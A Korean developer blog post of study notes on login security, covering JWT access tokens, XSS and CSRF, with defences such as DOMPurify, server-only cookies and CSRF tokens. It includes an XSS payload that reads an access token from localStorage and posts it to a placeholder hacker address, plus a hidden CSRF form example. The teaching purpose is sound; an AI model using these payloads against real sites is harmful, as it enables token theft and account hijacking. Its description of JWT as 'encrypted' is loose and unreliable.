이번 글은 로그인 관련 작업하면서 알게 된 보안 관련 내용 정리다. 토큰으로 이루어진 로그인, 이를 가로채려는 해커의 노련함 등 로그인을 이룰 때 단순하게 생각하지 말 것을 기억하게 하는 문서인 셈이다.
token
토큰은 크게 접근 토큰, 보안 토큰, 세션 토큰 등으로 분류한다. 이중 로그인에서 보는 접근 토근이 가장 많이 사용된다. 간략히 어떤 특정 기능이나 데이터에 접근하는 대상에게 권한을 부여하는 데 사용된다.
접근 토큰을 많이 볼 수 있는 것은 JWT(JSON Web Token)다. JWT(https://jwt.io)는 유저 정보를 담은 객체를 문자열로 만들어 암호화한 후 암호화된 키를 브라우저에 주는 형식으로 사용한다. 받아온 암호화된 키는 브라우저 저장소에 저장했다가 유저 정보가 필요한 API를 사용할 때 키를 보내면, 백엔드는 해당 키를 복호화 해서 사용자를 식별한 후 접근을 허가한다. 이때 JWT에는 발급 받은 서버에서 정상적으로 발급받았다는 사인도 가지고 있기에 식별할 수 있다. 다만, 위 사이트에 접속하면 우리가 암호화한 토큰 정보가 낱낱이 나타난다. 혹여나 토큰을 탈취 당한다면 사용자 정보가 그대로 빼앗길 수 있다. 따라서 토큰 관리의 중요성이 대두된다.
so, what?
누구든지 복호화가 가능하기 때문에 JWT는 토큰 만료시간을 짧게 준다. 허나, 복호화된 정보에는 토큰 만료 시간도 들어 있어 조작할 수 있는 게 아니냐고 물을 수 있다. JWT에는 signiture라는 토큰의 비밀번호가 존재하기 때문에, 이 비밀번호가 없다면 조작은 어렵다. 이 비밀번호는 보통 백엔드에서 생성하기 때문에 알기 어렵다. 토큰 자체를 주고 받으며 토큰이 맞냐 아니냐를 판단(authorization)하기 때문에 사용자의 아이디와 비밀번호를 주고받으며 통신하는 것보다는 조금 더 보안성이 높다.
물론, 여기에서 토큰 자체를 조작하진 못하더라도 정보는 가져갈 수 있기 때문에 이를 위한 방지 방법으로 클라이언트에서 읽기(getitem)가 불가능한 서버를 통해서만 읽고 쓸수 있는 전용 cookie로 관리하는 편이다.
authentication과 authorization
authentication(인증) : 로그인 후 토큰을 받아오는 과정
authorization(인가) : 리소스에 접근할 수 있도록 토큰을 확인하는 과정
XSS
XSS는 Cross site script라고 부르는 정보 탈취 공격이다. 매우 간단하지만 생각보다 공격하기도 받기도 쉬운 방법?이다. 우리가 보통 이미지태그를 쓸 때 아래와 같이 쓴다.
<img src="http://naver.com/image.jpg" />
정석대로 쓴다면 아무 이상없이 해당 주소에 있는 사진을 제대로 불러올 코드다. 다만, onerror라는 자바스크립트를 이용한다면 img 태그는 정보를 빼가는 코드로 바뀔 수 있다.
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />
위 코드를 살펴보자. 토큰을 localstrage에 담겨 있다고 가정했다. 이미지 태그를 사용하고 js 메서드를 사용했다. 이미지를 불러오지 못한다면 onerror를 통해 로컬스토리지에 있는 accessToken을 가져오고 바로 해커가 지정한 서버에 해당 정보를 보낸 코드다. 코드는 간단하지만 html이든 로컬 혹은 세션스토리지든 자칫 잘못하면 사용자의 정보가 탈취당하기 쉽상이다.
so, what?
만약 XSS 정도 수준의 공격이라면 방어할 대책이 있다. 위 코드와 같은 공격 코드를 자동으로 차단해주는 라이브러리를 이용하면 끝이다. 여러가지가 있지만, dompurify 라이브러리가 대표적이다. 이렇듯 라이브러리 중에서는 보안 관련한 라이브리러리도 있으니 이런 정보도 잘 알고 있을 필요가 있다.
CSRF
CSRF는 Cross Site Request Forgery의 약자로, 클라이언트가 사용자 의지와 무관하게 공격자가 의도한 행위(접속, 등록, 수정, 삭제 등)을 특정 웹사이트에 요청하게 하는 공격이다. 2008년 옥션 개인정보 유출사건에서 관리자 계정을 탈취하는 데 이 방법이 사용되었다고 알려져있기도 하다. 이또한 XSS처럼 공격 난이도가 높지 않아 흔히 사용되는 수법이다. 쉽게 말해 사용자의 권한을 도용하는 것. 인스타의 아이디와 비밀번호를 탈취해 해당 아이디로 광고성 글을 막 올린다거나 하는 것이다.
CSRF는 해커가 사용자 컴퓨너를 감염시키거나 특정 서버를 해킹하는 건 아니다. CSRF 공격이 유효하려면 1. 위조 요청을 전송하는 서비스에 희상자가 로그인한 상태, 2. 희상자가 해커가 만든 피싱 사이트에 접속까지 된 상태여야 한다. 우리가 네이버나 다음에 로그인 한 상태로 다른 엉뚱한 웹사이트를 동시에 들어간다면 당할지도 모를 일이다.
만약 피싱 사이트에 아래와 같은 코드가 숨겨져 있다면, 사용자는 그저 피싱 사이트를 이용했을 뿐인데, 자신의 인스타에 '가입하는 즉시 5만원 입금!'라는 글이 올라가는 셈이다.
<form action="http://instargram.com/content/new" method="post">
<input type="hidden" name="body" value="가입하는 즉시 5만원 입금!" />
<input type="submit" value="Click Me"/>
</form>
so, what?
CSRF 공격을 막는 방법 중 Referrer 검증과 Security Token 사용이 대표다. Referrer 검증은 백엔드에서 request의 referrer를 확인하는 방법이다. 즉, 글을 쓰는 주체 도메인이 instargram이 맞는지 확인하는 것. 물론, 같은 도메인 내 XSS 취약점이 있다면 CSRF의 공격에도 취약해질 수 있다. 이럴 땐 위에서 말한 방법이나, 도메인을 더 세밀하게 페이지 단위까지 검증하면 대부분 방어할 수 있는 편이다. referrer 검증이 불가능할 땐 Security Token을 사용하는 것도 좋다.
Security Token은 사용자 세션에 임의의 난수 값을 저장하고, 사용자가 요청할 때마다 해당 난수 값을 포함시켜 전송시킨다. 이후 백엔드에선 세션에 저장된 토큰과 파라미터에 전달되는 토큰 값이 일지하는 지 검증하는 방법이다. 다만, 이 방법도 XSS 취약점이 있다면 위험한 것은 마찬가지다.
여기서 한 단계 더 나아간 Double Submit Cookie 검증이 있다. 자바스크립트에서 타 도메인의 쿠기 값을 확인/수정할 수 없는 SameOrigin 정책을 이용한 방법이다. Security Token처럼 난수를 생성해 쿠키에 저장하고 동일한 난수 값을 서버에도 전송한다. 서버에서는 쿠키의 토큰과 파라미터의 난수가 동일한 지 검사하면 된다. 서버에 따로 토큰 값을 저장할 필요가 없어 개발 공수도 적은 편이다.
※ 잘못된 내용이 있을 경우 댓글로 알려주세요. 배우고 익히고 수정하겠습니다:)
'FE > Web' 카테고리의 다른 글
HTTPS vs HTTP (0) | 2022.10.27 |
---|---|
Domain, DNS, Hosting (0) | 2022.10.27 |
Browser’s Rendering Process (0) | 2022.10.24 |
권한 분기 (0) | 2022.10.23 |
Cookie, Session, Local Storage (0) | 2022.10.12 |